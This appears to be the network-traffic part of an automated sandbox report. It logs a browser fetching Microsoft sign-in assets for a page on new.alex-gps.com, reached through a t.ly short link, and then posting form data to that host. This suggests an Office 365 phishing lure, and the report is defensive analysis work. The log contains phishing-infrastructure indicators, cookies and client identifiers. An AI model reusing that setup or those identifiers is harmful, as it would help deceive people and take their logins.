Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6ELBXlAsbLdG2fF&MD=8cMuWYEm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://new.alex-gps.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1Host: chrome.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /manifest/threshold.appcache HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitOrigin: https://www.bing.comAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/17/jnc,nj/6aa-EF2IAVwnTTOiwAbhwI_VmCw.js?bu=DygxeIQBiQGMAYEBe37EAccBMbcBMcoB&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rb/1a/cir3,ortl,cc,nc/f4st08wpuYBQ5KWRJ3MqAsJB8zg.css?bu=C8kJogO5BKUKign0CPoGWVlZWQ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/1a/cir3,ortl,cc,nc/yy4SnZtT2-rfsZpLbcm-u8xyafQ.css?bu=B8MCRLEClgFZWc4C&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/3F/ortl,cc,nc/4-xJy3tX6bM2BGl5zKioiEcQ1TU.css?bu=A4gCjAKPAg&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?e3bfee56476065f0ab149b748f731e37 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: p-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rb/6k/cir3,ortl,cc,nc/kMuSwIezxCpzqkuspnuwJzXKYu0.css?bu=M8IKvArICrwKrAu8CrILvAq8CrwKvQu8CsQLvArKC7wK0Au8CtYLvAraCrwK4Aq8CtQKvAq8CqMLvArvCrwK9Qq8CukKvAq8CoULiAu8CrwKoAuOC7wKlAuXC7wKggy8CtwLvAqwDA&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?abf6b0b4363a8fb8ec7d6cce4a4b9cc3 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: p-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6ELBXlAsbLdG2fF&MD=8cMuWYEm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?dc1aa3056d31478dcc0798188196ffde HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: t-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?be502d8ba45b794bb9a4ed7b34197dc5 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: mcr-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?fabc2574088505862363021ddafa715f HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: mcr-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=asgw&rid=f71e1e1813109fa99c95fe393109885e&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22p-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:889,%22T%22:1},{%22RequestID%22:%22p-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:871,%22T%22:1},{%22RequestID%22:%22t-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:-1,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:921,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:892,%22T%22:1}] HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?2511a03dcd752a0673ef10a3cae15a87 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp-vs-nocache.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?489391a15d3919dbfca939f0d499d770 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp-vs-nocache.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?77361e034fb3f0c30401afeebe356fff HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: rum8.perf.linkedin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?cb3737de19b8488d9075685ef2e87cae HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: rum8.perf.linkedin.comConnection: Keep-AliveCookie: bcookie="v=2&05f8e601-1b2f-49ba-85b8-7a5c700286bc"
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?ec8b7b2b9027319743ba953590699837 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: o-ring-fallback.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?2fcb026dc840d670cbbb63c5e550f200 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: o-ring-fallback.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=asgw&rid=001c175d4b66e4d0ea0ba25e83522831&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22fp-vs-nocache.azureedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1315,%22T%22:1},{%22RequestID%22:%22fp-vs-nocache.azureedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1306,%22T%22:1},{%22RequestID%22:%22rum8.perf.linkedin.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:945,%22T%22:1},{%22RequestID%22:%22rum8.perf.linkedin.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:907,%22T%22:1},{%22RequestID%22:%22o-ring-fallback.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:946,%22T%22:1},{%22RequestID%22:%22o-ring-fallback.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:921,%22T%22:1}] HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?9094d06e40078f56d136d2ad1c47e815 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp-afd.azurefd.usConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c44e8bb66b77d5deb8d9b578b4db2152 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp-afd.azurefd.usConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?d6d1ab046384375e9de28779bc755a31 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: dual-s-ring.msedge.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: t.ly
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: new.alex-gps.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N HTTP/1.1Host: new.alex-gps.comConnection: keep-aliveContent-Length: 136287Cache-Control: max-age=0sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://new.alex-gps.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 22:26:47 GMTServer: Apache/2.4.59 (Debian)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: chromecache_1261.12.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_1260.12.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_1261.12.dr, chromecache_1260.12.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_1261.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_1261.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_1261.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_1261.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chromecache_1261.12.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_1260.12.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_1260.12.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_1260.12.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
